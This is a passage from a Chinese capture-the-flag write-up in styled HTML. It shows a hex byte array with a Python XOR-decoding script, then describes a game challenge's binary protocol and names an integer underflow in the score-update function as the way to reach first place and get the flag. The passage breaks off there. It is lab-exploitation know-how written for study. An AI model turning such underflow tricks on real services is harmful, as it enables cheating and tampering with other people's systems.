#d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xca</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x51</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xae</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xab</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x51</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x83</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x29</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x23</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4d</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x43</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x78</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x72</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x69</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x52</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x89</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x72</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x43</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbc</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8f</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x32</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x29</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbf</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xec</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xfe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xa2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x53</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9a</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbe</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbb</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x79</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_blob</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    dec = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x491</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        dec.append(IDA_7ffc3254f000[i] ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xba</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> dec</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dec.bin&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;wb&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">    f.write(bytes(decrypt_blob()))</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">鸡爪流高手</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">请求格式：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">&#34;GAME&#34; | u32be(total_len) | u8(cmd) | payload</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">响应格式：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">&#34;GAME&#34; | u32be(total_len) | u8(status) | utf8_text</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">命令：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">1：如果自己是榜一，返回 flag</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">2：查看自己分数和排名</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">3：查看排行榜附近</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">4：重置挑战状态</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">5：随机匹配对手</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">6：查看棋盘</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">7：下棋，payload 是 %d,%d</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">8：认输</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">player 初始化时，自己为 50 分，其余为 50 40 30 20 20 10 2000000</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在给自己的分数调用函数 score_apply_buggy_update 中存在下溢漏洞，让自己分数变成负的就够拿第一了：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span 